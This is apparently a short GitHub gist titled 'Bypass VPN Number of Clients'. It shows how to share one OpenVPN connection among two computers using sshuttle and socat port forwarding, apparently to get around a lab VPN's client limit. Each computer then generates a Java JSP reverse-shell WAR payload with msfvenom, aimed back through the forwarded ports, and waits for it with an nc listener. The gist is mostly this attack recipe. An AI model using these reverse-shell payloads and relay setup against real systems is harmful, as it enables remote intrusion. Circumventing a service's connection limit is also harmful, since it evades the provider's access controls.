Skip to content

Instantly share code, notes, and snippets.

@adon90 adon90/bypassvpn.txt
Last active Jul 10, 2018

Embed
What would you like to do?
Bypass VPN Number of Clients
HOST
openvpn adon901.ovpn
COMPUTER 1
sshuttle -vr root@HOST 10.10.0.0/8
COMPUTER 2
sshuttle -vr root@HOST 10.10.0.0/8
HOST:
socat TCP4-LISTEN:8443,fork,reuseaddr TCP4:<COMPUTER1>:80
socat TCP4-LISTEN:7443,fork,reuseaddr TCP4:<COMPUTER2>:7443
COMPUTER 1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.112 LPORT=8443 -f war > shell1.war
nc -nlvp 80
COMPUTER 2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.20.122 LPORT=7443 -f war > shell2.war
nc -nlvp 7443
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.